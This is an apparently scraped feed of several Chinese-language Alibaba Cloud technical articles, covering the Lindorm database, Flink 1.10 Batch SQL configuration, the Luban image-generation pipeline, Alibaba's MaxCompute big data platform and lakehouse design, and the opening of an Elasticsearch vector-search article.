        全新一代NoSQL数据库Lindorm是阿里巴巴HBase&Lindorm团队9年以来技术积累的结晶,Lindorm在面向海量数据场景提供世界领先的高性能、可跨域、多一致、多模型的混合存储处理能力。对焦于同时解决大数据(无限扩展、高吞吐)、在线服务(低延时、高可用)、多功能查询的诉求,为用户提供无缝扩展、高吞吐、持续可用、毫秒级稳定响应、强弱一致可调、低存储成本、丰富索引的数据实时混合存取能力。Lindorm已经成为了阿里巴巴大数据体系中的核心产品之一,成功支持了集团各个BU上千个业务,也多次在天猫双十一“技术大团建”中经受住了考验。阿里CTO行癫说过,阿里的技术都应该通过阿里云输出,去普惠各行各业数百万客户。因此Lindorm从今年开始,已经在阿里云上以“HBase增强版”的形式,以及在专有云中对外输出,让云上的客户能够享受到阿里巴巴的技术红利,助力业务腾飞!

        文中所涉及到的技术文章汇总

        本文是一篇综述,具体的技术细节大家可以参考阿里云开发社区的文章

        HBase用户福利

        新用户9.9元即可使用6个月云数据库HBase,更有低至1元包年的入门规格供广大HBase爱好者学习研究,更多内容请参考链接

        ]]>
        Flink Batch SQL 1.10 实践 Fri, 02 May 2025 09:39:04 +0800 作者:李劲松(之信)

        Flink作为流批统一的计算框架,在1.10中完成了大量batch相关的增强与改进。1.10可以说是第一个成熟的生产可用的Flink Batch SQL版本,它一扫之前Dataset的羸弱,从功能和性能上都有大幅改进,以下我从架构、外部系统集成、实践三个方面进行阐述。

        架构

        Stack

        图片 1.png

        首先来看下stack,在新的Blink planner中,batch也是架设在Transformation上的,这就意味着我们和Dataset完全没有关系了:

        1. 我们可以尽可能的和streaming复用组件,复用代码,有同一套行为。
        2. 如果想要Table/SQL的toDataset或者fromDataset,那就完全没戏了。尽可能的在Table的层面来处理吧。
        3. 后续我们正在考虑在DataStream上构建BoundedStream,给DataStream带来批处理的功能。

        网络模型

        图片 2.png

        Batch模式就是在中间结果落盘,这个模式和典型的Batch处理是一致的,比如MapReduce/Spark/Tez。

        Flink以前的网络模型也分为Batch和Pipeline两种,但是Batch模式只是支持上下游隔断执行,也就是说资源用量可以不用同时满足上下游共同的并发。但是另外一个关键点是Failover没有对接好,1.9和1.10在这方面进行了改进,支持了单点的Failover。

        建议在Batch时打开:

        jobmanager.execution.failover-strategy = region

        为了避免重启过于频繁导致JobMaster太忙了,可以把重启间隔提高:

        restart-strategy.fixed-delay.delay = 30 s

        Batch模式的好处有:

        • 容错好,可以单点恢复
        • 调度好,不管多少资源都可以运行
        • 性能差,中间数据需要落盘,强烈建议开启压缩
          taskmanager.network.blocking-shuffle.compression.enabled = true

        Batch模式比较稳,适合传统Batch作业,大作业。

        图片 3.png

        Pipeline模式是Flink的传统模式,它完全和Streaming作业用的是同一套代码,其实社区里Impala和Presto也是类似的模式,纯走网络,需要处理反压,不落盘,它主要的优缺点是:

        • 容错差,只能全局重来
        • 调度差,你得保证有足够的资源
        • 性能好,Pipeline执行,完全复用Stream,复用流控反压等功能。

        有条件可以考虑开启Pipeline模式。

        调度模型

        Flink on Yarn支持两种模式,Session模式和Per job模式,现在已经在调度层次高度统一了。

        1. Session模式没有最大进程限制,当有Job需要资源时,它就会去Yarn申请新资源,当Session有空闲资源时,它就会给Job复用,所以它的模型和PerJob是基本一样的。
        2. 唯一的不同只是:Session模式可以跨作业复用进程。

        另外,如果想要更好的复用进程,可以考虑加大TaskManager的超时释放:
        resourcemanager.taskmanager-timeout = 900000

        资源模型

        先说说并发:

        1. 对Source来说:目前Hive的table是根据InputSplit来定需要多少并发的,它之后能Chain起来的Operators自然都是和source相同的并发。
        2. 对下游网络传输过后的Operators(Tasks)来说:除了一定需要单并发的Task来说,其它Task全部统一并发,由table.exec.resource.default-parallelism统一控制。

        我们在Blink内部实现了基于统计信息来推断并发的功能,但是其实以上的策略在大部分场景就够用了。

        Manage内存

        图片 4.png

        目前一个TaskManager里面含有多个Slot,在Batch作业中,一个Slot里只能运行一个Task (关闭SlotShare)。

        对内存来说,单个TM会把Manage内存切分成Slot粒度,如果1个TM中有n个Slot,也就是Task能拿到1/n的manage内存。

        我们在1.10做了重大的一个改进就是:Task中chain起来的各个operators按照比例来瓜分内存,所以现在配置的算子内存都是一个比例值,实际拿到的还要根据Slot的内存来瓜分。

        这样做的一个重要好处是:

        1. 不管当前Slot有多少内存,作业能都run起来,这大大提高了开箱即用。
        2. 不管当前Slot有多少内存,Operators都会把内存瓜分干净,不会存在浪费的可能。

        当然,为了运行的效率,我们一般建议单个Slot的manage内存应该大于500MB。

        另一个事情,在1.10后,我们去除了OnHeap的manage内存,所以只有off-heap的manage内存。

        外部系统集成

        Hive

        强烈推荐Hive Catalog + Hive,这也是目前批处理最成熟的架构。在1.10中,除了对以前功能的完善以外,其它做了几件事:

        1. 多版本支持,支持Hive 1.X 2.X 3.X
        2. 完善了分区的支持,包括分区读,动态/静态分区写,分区统计信息的支持。
        3. 集成Hive内置函数,可以通过以下方式来load:
          a)TableEnvironment.loadModule("hiveModule",new HiveModule("hiveVersion"))
        4. 优化了ORC的性能读,使用向量化的读取方式,但是目前只支持Hive 2+版本,且要求列没有复杂类型。有没有进行过优化差距在5倍量级。

        兼容Streaming Connectors

        得益于流批统一的架构,目前的流Connectors也能在batch上使用,比如HBase的Lookup和Sink、JDBC的Lookup和Sink、Elasticsearch的Sink,都可以在Batch无缝对接使用起来。

        实践

        SQL-CLI

        在1.10中,SQL-CLI也做了大量的改动,比如把SQL-CLI做了stateful,里面也支持了DDL,还支持了大量的DDL命令,给SQL-CLI暴露了很多TableEnvironment的能力,这让用户可以方便得多。后续,我们也需要对接JDBC的客户端,让用户可以更好的对接外部工具。但是SQL-CLI仍然待继续改进,比如目前仍然只支持Session模式,不支持Per Job模式。

        编程方式

        TableEnvironment tEnv = TableEnvironment.create(EnvironmentSettings
          .newInstance()
          .useBlinkPlanner()
          .inBatchMode()
          .build());

        老的BatchTableEnv因为绑定了Dataset,而且区分Java和Scala,是不干净的设计方式,所以Blink planner只支持新的TableEnv。

        TableEnv注册的source, sink, connector, functions,都是temporary的,重启之后即失效了。如果需要持久化的object,考虑使用HiveCatalog。

        tEnv.registerCatalog(“hive”, hiveCatalog);
        tEnv.useCatalog(“hive”);

        可以通过tEnv.sqlQuery来执行DML,这样可以获得一个Table,我们也通过collect来获得小量的数据:

        Table table = tEnv.sqlQuery(“SELECT COUNT(*) FROM MyTable”);
        List<Row> results = TableUtils.collectToList(table);
        System.out.println(results);

        可以通过tEnv.sqlUpdate来执行DDL,但是目前并不支持创建hive的table,只能创建Flink类型的table:

        tEnv.sqlUpdate(
           "CREATE TABLE myResult (" +
              "  cnt BIGINT"
              ") WITH (" +
              "  'connector.type'='jdbc'," 
                 ……
              ")");

        可以通过tEnv.sqlUpdate来执行insert语句,Insert到临时表或者Catalog表中,比如insert到上面创建的临时JDBC表中:

        tEnv.sqlUpdate(“INSERT INTO myResult SELECT COUNT(*) FROM MyTable”);
        tEnv.execute(“MyJob”);

        当结果表是Hive表时,可以使用Overwrite语法,也可以使用静态Partition的语法,这需要打开Hive的方言:

        tEnv.getConfig().setSqlDialect(SqlDialect.HIVE);

        结语

        目前Flink batch SQL仍然在高速发展中,但是1.10已经是一个可用的版本了,它在功能上、性能上都有很大的提升,后续还有很多有意思的features,等待着大家一起去挖掘。

        ]]>
        鹿班|一人设计10亿图片,这个“设计师”如何演进? Fri, 02 May 2025 09:39:04 +0800 image.png
        作者| 鲍军(推开)
        出品|阿里巴巴新零售淘系技术部

        本文内容提炼:
        1、如何建立图片数据与用户注意力之间的连接?
        2、如何进行结构化规模化的图片生产?

        2019 年双十一期间,鹿班面向集团电商场景输送了 10亿 规模的图片。从提升公域流量效率,到商家私域的表达赋能,随着场景的细分,分人群精细化运营的需求提出,对图片结构化生产,规模化生产在量和质上的要求不断提高。图像生成技术也在不断的演进,本篇将围绕鹿班最近一年的在生成能力上演进以及实践做展开,欢迎探讨交流。

        image.png

        上图是我们有过采访的在平台上卖姜茶的店铺的图片运营经验,可以看到不同场景下的商品图文,在内容和形式是极具多样性,这种多样性不同于海量商品的个性化多样性,这种多样性是对 C 端用户注意力更加精细的吸引,这种多样性是对 B 端商家运营能力的一个新命题。

        那么如何满足这种多样性生产?如何建立图片数据与用户注意力之间的连接?如何对商家赋能?下面我会从图片生产的视角切入,尝试回答以上问题。

        生产标准-图片结构化

        在 C 端的商品分发链路上,得益于结构化的标准定义,使得商品的数据和特征可以被高效的传递收集处理,从而给予模型和算法充分的施展空间。

        当尝试将商品图片的数据作为一个整体进特征提取计算时,无论是低层次的显示特征还是高维的语义隐式特征在基于深度神经网络处理后都变成了一个概率问题,但实际我们更希望把概率转换为确定性输入从而更准确的挖掘图片特征与用户行为之间的关联关系。

        image.png

        电商的图片生产除了最开始的拍摄外,更多的会依赖后期的图像处理软件,比如PS(photoshop)进行图文的创作编辑,根据图像处理软件的图层划分标准,我们对图片进行结构化的分层定义。给图片引入图层(layer)属性,从结构、色彩、文字(内容)三个维度对一张图片进行结构化的描述。通过结构化使得图片自身的属性特征可以被高效准确的传递收集处理,进而使得后续的生成加工成为可能。

        image.png

        为了标准的执行,我们面向商家设计师开发了配套的生产工具,在保持设计师工作流程不变化的前提下,将原来非结构化的单张图片转换为自描述的 DSL 结构化数据,从而在生产的源头保证了图片数据结构化的执行实施。

        生产工序-流程编排

        当图片有了结构化的定义后,我们将图片的生成转换为成基于人机协作的数据匹配排序问题。为什么是匹配排序?

        我们积累了大量的设计数据,相比之前非结构化的设计创意,通过图片结构化我们可以将设计精确解构到每一个图层,每一个元素,每一个文字。进而沉淀了可复用的数据资产。根据用户喜好,商品属性进行图片表达的好中选优,这就转化为一个数据匹配问题。

        数据匹配包含两个部分:一是由设计师创作的面向特定场景或商品表达的设计数据,我们称之为模板;二是由用户属性数据以及在浏览商品图片过程中产生的的收藏、点击、购买等用户行为数据。

        对于的匹配排序有两层,首先是商品图片和模板的匹配,这层通过定义设计约束进行参数化的求解实现匹配。

        比如基于模板的背景色约束商品图片主色区间,根据模板结构布局约束商品图片主体形状等。通过图像检测/识别算法在线提取商品主体的图片特征,结合离线计算的模板特征进行匹配计算。

        然后是用户特征与图片特征的匹配计算,在建模时我们把数据划分成三个特征组,分别是用户特征组,商品特征组合和图片特征组,通过 embedding 变换对得到特征向量进行两两交叉预测建模,之所以采用两两分别组合而不采用三组向量联合建模的原因是考虑到对于电商场景,商品特征与用户特征之间的信号更强,如果联合建模训练会导致图片的行为的关系不能有效的被学习到,而通过两两交叉建模,可以针对性的做预测结果的加权。

        问题定义清楚后我们依然要面对来自业务的复杂性和快速响应问题,为此我们定义了生产 pipline,将生产流程与生产能力分而治之。面对复杂业务需求提供生产流程编排能力,为提高响应速度提供可插拔的生产算子模型。

        image.png

        ► 生产流程-节点编排

        将图片设计生产的理念流程化,流程系统化。通过工作流引擎实现生产节点的编排管理,从而让业务方可以灵活的按需求进行生产线的定义组装,满足多场景的生产需求。

        ► 生产能力-可插拔算子

        算子定义了统一的输入输出以及必要的context,通过对约定输入的计算处理完成效果实现。
        图像类算子:图像分割,主体识别,OCR,显著性检测等。
        文本类算子:短标题生成,文字效果增强等。
        规则类算子:人工干预,流程控制等。

        ► 通过这套生成引擎,白盒化的对生成能力进行分制管理,面向二方能力的开放友好,同时满足业务集成的灵活性。目前线上共管理了10个核心场景,33个生产节点,47种算子能力,通过编排组合实现了10亿规模图片的分场景矩阵式生成。

        生产工艺-图文渲染

        如果说生产架构解决了宏观的生产工序问题,那么渲染就是面向微观的工艺问题。

        渲染首先要解决的是效果统一,除了直接通过服务端渲染图片以外,在商家侧需要所见即所得的二次编辑能力,也就是对于同一套 DSL 数据协议,在前后端需保证渲染效果统一,为此我们构建了前后端同构的渲染方案,开发了基于 canvas 的画布引擎,在前端通过 UI 的包装提供图片可视化编辑能力;在云端通过 puppeteer 无头浏览器加载 canvas 画布引擎实现图片生产。

        image.png

        其次渲染需要保证对视觉设计的还原能力,尤其是文字渲染效果。前端渲染对丰富文字效果的支持由于字体库安装问题很难完成,同时后端也缺乏对文字效果的标准协议定义。而有了同构的渲染能力后,我们可以将前端协议的优势与后端字体库的优势结合,灵活的完成视觉还原。

        image.png

        淘宝首焦 banner 场景下,单字单样式的模板较普通模板在 AB 分桶试验下点击率平均提升约 13% 。

        生产保障-性能优化

        在 10亿 量级的规模下,如果没有高性能的工程保障,一切效果的提升都是零,双十一期间鹿班的平均合图 RT<5ms ,从 DSL 解析到 OSS 上行链路完成平均 RT<200ms ,在没有增加机器资源的情况下,实现了相较于去年的整体系统吞吐性能提升 50% 。整个后端引擎分为两部分:

        image.png

        渲染:将结构化的 layer 数据转换为独立的图片数据流。不同类型图层转换交由对应的 handler 处理。执行并行化渲染。

        合图:将渲染得到的多个图层数据进行图像合并计算,经过编码压缩,图片上传,得到成图。

        性能优化主要分以下几点:

        • 图层拉取并行化,本地采用 LRU-K 主动缓存,减少 tfs 拉图消耗。
        • GPU 显存主动调度管理,对显存预先分段分片,减少频繁显存的申请分配与释放消耗。
        • jpg 编码优化,通过 SIMD 进行加速,软编码的平均耗时由 70ms 下降至 20ms 。

        未来展望

        图片作为商品信息展示的重要载体,无论是在公域的搜索推荐还是私域的店铺详情都承担着传递商家意图与帮助消费者决策的双重作用。

        对于商家:通过技术与数据赋能商家在图片生产上的持续优化,让结构化的图片能够更好的被机器理解,更高效的分发。同时增加商家的运营抓手。
        对于消费者:利用更多维的图片特征获得对受众更泛化更精细的刻画能力,更好的满足甚至激发用户兴趣。

        We are hiring

        淘系技术部依托淘系丰富的业务形态和海量的用户,我们持续以技术驱动产品和商业创新,不断探索和衍生颠覆型互联网新技术,以更加智能、友好、普惠的科技深度重塑产业和用户体验,打造新商业。我们不断吸引用户增长、机器学习、视觉算法、音视频通信、数字媒体、移动技术、端侧智能等领域全球顶尖专业人才加入,让科技引领面向未来的商业创新和进步。
        请投递简历至邮箱:ruoqi.zlj@taobao.com
        了解更多职位详情:2684亿成交!每秒订单峰值54.4W!这样的团队你想加入吗?

        更多技术干货,关注「淘系技术」微信公众号。
        image.png

        ]]>
        阿里经济体大数据平台的建设与思考 Fri, 02 May 2025 09:39:04 +0800 本文内容根据演讲视频以及PPT整理而成。

        双十一!=11.11
        首先从双11说起,双11已经成为阿里巴巴最大的单日促销活动。双11活动可能对于消费者而言只是一天而已,但是对于阿里巴巴和数百万商家而言,却是一个非常长线的工作。站在阿里巴巴的角度来看双11,其实无论是从业务线还是技术线,背后都存在着很多的思考。
        image.png

        从“人、货、场”的角度看待双11。首先,对于“人”而言,双11需要回答什么样的消费者会看什么样的商品,以及每个人看到的商品是什么样子的。“货”则是对于商家而言的,商家需要知道在这次双11中,什么样的商品才能成为尖货,以及需要提前多久准备多少货才是最合适的。“场”的概念则更偏重于物流,比如需要提前将什么货物铺在什么地方才能够达到最优的物流执行效率。在“人、货、场”的背后存在两件事情,他们才是电商竞争力的关键。第一件事情就是供应链,如果能够提前长周期地布局供应链,包括柔性、精细化的供应链,对于商家双11大促和成本的降低将会产生非常大的作用。另外一件事情就是物流,前几年的时候每到双11物流就会爆仓,而最近几年虽然成交量在不断上涨,但是却没有再出现物流爆仓的情况。这背后的原因是阿里巴巴联合商家已经把消费者可能购买的商品布局到当地的本地仓库中了。而所有的这些工作其实都是千万级别商品和十亿级的消费者的匹配的问题。
        image.png

        而从技术的角度来看,在这背后其实就是大数据和AI能力的竞争。双11竞争的是企业是否具有足够多的数据、足够强的算力、足够好的算法,指导什么样的消费者在什么样的风格、类目以及价格区间上看到商品;对于商家而言,什么样的货品才能够成为尖货,需要准备多少货才是合适的;对于供应链而言,需要怎样布局才能够达成成本的最优,将货物放在那个货场才能够距离消费者更近。这就是阿里所提的A+B+C概念,这里的A指的是Algorithm算法,B指的是Big Data大数据,C就是Computing计算,也就是说是否有足够多的数据、足够好的算法以及足够便宜的计算力。因此,双11的竞争,从技术角度来看,就是一个公司的大数据和AI能力的竞争

        下图展示的双11单日处理数据量的统计情况。从2015年到2019年,双11单日数据处理量大约增长了70%左右,但是这样的数据量不只是在双11当天才需要处理的,实际上从9月下旬到双11当天,每一天都需要处理如此之多的数据。运营同学、分析同学以及商家就在这些数据里面运行非常精细的算法,实现数据挖掘和信息处理,通过这种方式助力双11,这样才能使得双11当天实现最优的匹配。
        image.png

        从技术的角度来看,双11的成功有三个必要条件,即超大规模数据,低成本算力,以及数据上的快速迭代。最后这个条件要划重点,如何使上万名算法工程师和数据工程师在数据上实现快速迭代与前面数据以及算力同样关键。海量数据上的快速迭代能力,本质是数据中台和数据开发平台的能力。

        飞天大数据平台整体架构

        如下图所示的是从阿里巴巴的角度看的整个飞天大数据平台的布局。从左侧看起,阿里巴巴主线数仓在MaxCompute上,目前在全球10个数据中心具有超过10万台的规模,阿里巴巴几乎所有的数据都存储在这里面。MaxCompute支撑了一套自研的SQL引擎,同时也支持Spark等开源的计算能力。除了主线数仓和大数据计算之外,阿里巴巴还有基于Flink的流计算系统。对于云上业务则有基于Hadoop的完整的EMR解决方案提供给客户。下图中左边的三部分叫做Basic Engine,也就是基础计算引擎。右边的引擎则包括PAI机器学习平台等,之所以左边和右边引擎割裂开,是因为两者不属于同等层面的关系,比如PAI的作业可以跑在MaxCompute上面也可以跑在Flink和EMR上面。除了PAI之外,阿里巴巴大数据平台还包括Hologres、图计算引擎Graph Compute以及Elasticsearch等。中间则是使用DataWorks贯穿起来的一体化大数据开发平台,包括大数据的开发以及数据Pipeline的建立也都整合在一个体系内。
        image.png

        接下来以 MaxCompute 为例为大家介绍阿里经济体大数据平台的建设与思考。

        飞天平台发展历程

        从2002年开始,阿里所有的数据都存储在Oracle数据库里面。因为电商类业务最初都是记账类的,那时候所有的数据都在Oracle里面,当时阿里拥有整个亚洲最大的Oracle集群。而在后来发现Oracle无法支撑计算力的提升之后,阿里巴巴就迁移到了Greenplum上。Greenplum采用分布式架构,最高能够扩展到PB级别,但是不到一年的时间,Greenplum却也无法满足阿里业务的发展了。因此,在2008年的时候,阿里巴巴启动了Hadoop集群,这是阿里最早在大数据方面的探索。2009年阿里云成立,建立了飞天品牌,当时考虑是否自建一套飞天系统,所以大数据引擎、分布式存储和分布式调度一起作为三条主线一起启动。在2010年,阿里发布了存储计算的MaxCompute 1.0体系,对应的底盘叫做盘古存储,中间使用伏羲调度,最早支持蚂蚁金服的小微贷业务。在2013年,阿里开始在规模和扩展性上做到一定的量级,大约5千台服务器的级别,并在这个关键点上启动了阿里内部非常关键的项目“登月”,也就是将阿里巴巴所有的数据都集中到一个体系上来。因此当时存在非常大的讨论就是到底使用Hadoop还是使用自研的盘古 + MaxCompute体系,最终决定了使用自研体系。从2013年到2015年实现了完整的“登月”过程。2015年,阿里使用MaxCompute全面替换Hadoop,基于MaxCompute和DataWorks构建了完整的阿里数据中台。在2017年的时候,阿里巴巴认为需要进行引擎的迭代了,因此发布了MaxCompute 2.0版本,将整个核心引擎实现了重构。当时在扩展性上,单集群能够达到万台,全球有超过10个数据中心。最近,阿里巴巴在MaxCompute方面所做的工作包括性能的提升,以及在中台的基础之上演进自动中台或者说是自动数仓。
        image.png

        因此,飞天平台的发展历程可以用几句话来总结:第一,回首过去10年的发展,其实是阿里巴巴对于数据规模和低成本算力的持续追求。第二,从开源到自研的演进,而如今又从自研向开源方向演进,比如Flink的发展。第三,从最早的数据库走向数据仓库,走向了数据中台,再走向自动数仓。第四,数据湖开始的时候选择了Hadoop体系,而如今需要考虑如何将数据湖和数据仓库很好地融合在一起。

        企业级计算平台的核心问题

        对于企业级计算平台而言,往往会遇到很多问题。第一个问题很简单,但是也很常见,那就是需要可靠的数据交汇点,这里的可靠就是100%万无一失,并且需要保证数据存储在机房里面就不会丢失。第二个需要考虑高性能和低成本,这里除了引擎本身的性能优化之外,还需要考虑存储第三个问题是如何做数据管理、共享与安全性第四个问题则是企业级能力,比如如何做企业级自动化运维。第五个问题是需要支撑统一而丰富的运算能力,包括批处理、流处理、机器学习、图计算、交互计算等能力。第六个问题是如何拥抱和融合各种生态,包括自主系统与生态的融合,数据湖和数据仓库的融合等。第七个问题比较简单,就是开发语言与效率。第八个问题就是弹性能力与扩展性。最后一个问题就是大数据系统如何更好地支撑AI能力,同时是否能够利用AI能力优化大数据系统。
        image.png

        有关性能/效率(成本)优化

        阿里巴巴在性能和效率方面所面临的挑战可以总结为以下4点

        1.当规模超过1万台时成本会持续增长,因此云上大规模客户对于成本的要求非常关键。
        2.阿里巴巴数据和计算力的增长非常迅速,从双11来看,每年数据处理量的增速为70%左右,但是硬件投入不可能达到70%,这样的成本是无法承受的,因此需要打破数据和计算量线性增长之间的关系。
        3.目前,技术发展进入了开源软件盲区,因为一般而言,开源软件无法满足超大规模的应用需要,因此需要解决这个问题。
        4.之前发现了非常多的小集群,但是他们之间的负载无法实现均衡,因此需要解决多集群整体利用率不够高的问题。

        image.png

        针对以上问题和挑战,可以从计算、存储以及资源方面进行优化,这里重点分享资源优化中的一部分,那就是混部。这里需要说明的是阿里巴巴在考虑资源优化的时候,并不考虑单作业的成本和效率,而关心整个集群的利用率的提升,将集群利用率提高到60%以上是阿里巴巴的强优化目标。

        在双11当天,流量刚开始的时候会出现一个尖峰,这个尖峰可能一年就出现一次。大概到2点多钟的时候,流量会跌倒一个低谷,因为大家第一波抢购完成之后就睡觉了,等大家起床之后又会出现流量上升。那么,阿里巴巴需要准备多少台服务器才能满足需求呢?如果按照峰值准备,那么将会有一半的服务器总会处于空闲。如果按照均值进行规划,就会发现在峰值时用户无法提交请求,双11的体验就会很差。
        image.png

        针对于双11的现状,阿里实现了两套混合部署的体系,第一套体系叫做离线和在线混合部署,第二套体系叫做在线和离线混合部署。比如大数据与AI计算服务和在线计算在离线计算规模上各不相同,对于电商服务而言,白天可能比较空闲,而大数据服务则是一直都很繁忙,因此在白天的时候,可以将一些大数据的计算弹到电商的集群上来,利用电商的部分CPU计算资源。而在双11,大数据业务需要快速回退,这里的回退指的不是几台机器的回退,而是数万台机器的回退,来支撑电商的流量洪峰。大数据和AI计算使用电商资源的混合部署是每天都会发生的,而电商使用大数据的资源则只在每年的双11和双12发生,每次只要两个小时,但是这两个小时的弹性却会为阿里巴巴节省数十亿的成本。混部这件事情绝不是将一些Workload放在一起就能解决问题了,因为总会遇到一些问题,比如如何做资源规划?这里不仅是在线集群的资源规划问题,而是阿里巴巴整个经济体的资源规划问题。因为不同负载对SLA要求不同,因此需要同时满足隔离和共享之间的矛盾?此外,大数据计算强依赖存储,这种情况下需要推的就是存储和计算分离的架构,而在存储与计算分离的背后是极高的网络带宽挑战。

        资源利用率优化–离线与在线混布

        如下图所示的是资源调度模拟图。Sigma是在线容器调度器,基本上所有的在线系统全部都实现了容器化,所有的容器系统都通过Sigma调度。伏羲是大数据和AI的调度器,主力计算力都通过伏羲进行调度。两套调度器都看到一套资源的View,相当于能够看到哪部分资源是空的,可以调入和调出。底层有两套Agent,这两套Agent负责在拿到资源之后向下做资源申请和管理。Sigma后续可能会延续到Kubernetes平台上,目前是使用Docker完成的。这里并没有试图去合成一个中央调度器来实现所有的调度工作,而是以在线和离线分开来做调度的。从半动态资源调度策略起步,保持两边调度系统改动最小,从而实现快速升降级和迭代。
        image.png

        在思考层面,有几个关键点,其中一个是存储和计算分离,特别是想要利用大规模电商资源实现弹性的时候,一定要做存储和计算分离。因此,在阿里巴巴内部有一个项目叫做“天下无盘”,也就是说所有的计算都可以和存储分开,而不依赖于本地存储。因为会涉及到数十万台机器的调度,因此需要有统一高效的部署运维平台,一定需要一键部署,自动检测与回滚,高效版本分发等能力。在资源管理层,因为不同的应用具有不同的SLA要求,因此将资源分为了S10-S20-S30三个等级。隔离能力绝对不仅仅是CPU的隔离,这里面包括IO、网络、内存等各个方面的隔离。对于大量的改动而言,阿里巴巴实现了定制版本的内核AliKernel,将这些改动全部放在AliKernel里面。以上这些关键点实现之后,基本上就能够实现比较完善的电商混部。

        有关数据仓库与数据湖

        其实Hadoop本身就是一个数据湖体系,其拥有一套统一的存储架构,上面运行多套引擎。Hadoop基本满足数据湖所有的定义,比如HDFS存储的数据几乎不要求是完全建模的,可以不建模,并且能够是Schema-On-Read的,可以在读取到时候动态解析Schema。因为是开放架构,因此可以运行所有引擎,但是从另外一个层面上讲解,因为存储是开放的,因此难以做全面优化。在成本方面,对于数据湖而言,比较容易启动。其难点在于维护成本比较高,比如最经典的小文件问题。对于数据使用而言,往往难以实现很高的质量以及可维护性。从另外一个角度来看,包括阿里在内的很多企业都在做数据仓库,之所以做这件事情是因为在数据仓库中,数据进来都是Fully modelled的,那么表和数据都是事先定义好的。正因为是Fully modelled的,因此通常只存储结构化和非结构化的数据,而这样会造成数据存储灵活性的问题。而因为采用了一体的概念,那么并不是所有引擎都适合运行在这套系统里面。但是一体化架构更容易实现优化,存储更容易为上层计算进行优化,这里的成本就是数据仓库可能不好建设,因为对于数据写入以及维护等要求较高。但是一旦数据仓库做成,就更容易实现Fully managed。对于数据使用而言,往往能够实现较高的数据质量,并且易于使用。
        image.png

        那么将核心数据全部放在数据仓库上是否可以行,显然是可行的,并且包括阿里巴巴在内的很多企业也都是这么做的。如果只用数据湖来做,是否可行,答案也是可行的,其实很多公司也是这么做的。那么能否将两者结合起来呢?也是可行的。业界也有很多尝试,并且是双向的,数据湖架构能够看到数据仓库的优势,因此向着数据仓库演进比如Hadoop + HMS,可以认为是增强版HMS的Netflix Iceberg以及Spark DeltaLake。而数据仓库系统也能够看到数据湖的灵活性,也在向着数据湖发展,比如Redshift和Snowflake,因此演进是双向的。

        有关数据仓库与数据湖–阿里大数据平台的演进

        阿里巴巴在2013年到2015年的时候看到了Hadoop体系的一些问题,比如扩展性、性能、安全性、稳定性以及代码可控性。因此,阿里做了Hadoop到MaxCompute的迁移,相当于对于数据湖场景做了主线数仓,那个时候就已经开始有能力构建阿里的数据中台,开始构建数据建模、数据血缘、数据治理以及标签体系等。
        image.png

        阿里巴巴构建完数据中台之后,在2016年到2018年的时候对于主线的数据仓库平台中做了两个项目,分别是联合计算平台和逻辑数据湖。联合计算平台使得数据能支持多种引擎,在MaxCompute平台上封装了“丘比特”,将数据的资源层封装成了Yarn和Kubernetes平台,将数据存储层抽象了一套IO接口,将元数据系统抽象出来一套系统,可以对接Spark、Flink等开源引擎。丘比特平台所能实现的是Spark和Flink不需要修改代码,只需要替换一些Jar包就能够在MaxCompute平台上使用资源跑数据,相当于在数仓的基础之上向上扩展了对于引擎的支持。另外一件事情就是做了外表能力,所谓逻辑数据湖则实现了与其他存储打通,不是把数据汇聚,因为计算下推比数据上移更高效。
        image.png

        在2019年,阿里巴巴看到了实现逻辑数据湖潜在的问题,这对于用户而言是非常困难的,特别是具有海量数据的时候。另外一点,云上客户给阿里的反馈是手里已经有了200台机器的Hadoop体系了,并且希望使用阿里的数仓架构和中台架构提升业务能力,如何实现两条线和谐发展呢?因此,阿里巴巴正在着手实现所谓的“湖仓一体”,也就是将数据仓库和数据湖融合在一起。除了打通数据湖和数据仓库的网络之外,阿里巴巴还实现了元数据的打通,当希望对两边的数据做Join计算的时候不需要建立外表,目前这套架构正在试用中。

        image.png




        更多阿里巴巴大数据计算技术和产品信息,可点击链接加入 MaxCompute开发者社区2群
        https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        或扫码加入
        image

        ]]>
        从业务需求到能力扩展 | 阿里云Elasticsearch向量检索能力的创变 Fri, 02 May 2025 09:39:04 +0800 阿里云 Elasticsearch 目前是公有云营收增长最快的大数据产品之一。随着客户数的增长,我们发现随着AI技术的不断普及,针对向量检索场景的需求量在逐步提升。从人脸识别、音/视频识别到商品智能推荐等场景,技术上都离不开向量检索的能力作为支撑,而本片文章从构思到实践为您全面了解阿里云 Elasticsearch 的向量检索能力。

        本文字数:1874
        阅读时间:约3~5分钟

        您将获得
        1、阿里云 Elasticsearch 向量检索能力的演变过程
        2、如何使用向量检索
        3、未来阿里云 Elasticsearch 的探索之路

        以下是正文


        一、创意的诞生

        阿里云 Elasticsearch 是目前公有云营收增长最快的大数据产品之一。随着客户数的增长,我们发现随着 AI 技术的不断普及,针对向量检索场景的需求量在逐步提升。比如人脸识别、音/视频识别、商品智能推荐等场景,技术上都离不开向量检索的能力作为支撑。以某专有云客户为例,客户的场景是视频安全监控,摄像头每天会产生500万帧采样图片,每个月产生TB级的向量数据,业务上需要实时对这些视频采样数据进行图片比对搜索。该客户属于典型的时序+向量检索的场景,而时序分析场景刚好是 Elasticsearch 最擅长的部分,那么我们能否在Elasticsearch现有能力的基础上补充向量检索的支持能力呢?基于这个朴素的想法,我们开始了与阿里巴巴达摩院向量检索团队的合作,希望借助达摩院自研的向量检索引擎补充阿里云 Elasticsearch 在向量检索方面的能力,一站式解决云上用户全文检索、时序分析及向量检索的需求。

        简单介绍一下阿里云 Elasticsearch 使用的 Proxima 向量引擎库:阿里巴巴达摩院提供的 Proxima 向量检索引擎是一个运用于大数据下,实现向量近邻搜索的高性能软件库,能够提供业内性能和效果领先的基础方法模块,支持图像搜索、视频指纹、人脸识别、语音识别和商品推荐等各种场景。同时,引擎对向量检索的一些基础能力,如聚类、距离计算、高并发、Cache 等做了深层次的优化。

        目前 Proxima 向量检索库在阿里集团覆盖的生产业务如图所示:
        image.png

        二、优选在线方案

        如何将 Proxima 引擎库集成到阿里云 Elasticsearch 生态中,有两个方向摆在我们眼前:一种是最直观也是最简单的离线方案,也是集团内其它兄弟团队大部分采用的方案,依赖独立的离线资源做索引全量 Build;另一种是在线方案,也是无缝对接 Elasticsearch 现有能力、易用性最好的方案,但写入性能和存储相对会有一些Overhead。两种方案优劣势对比如下:
        image.png

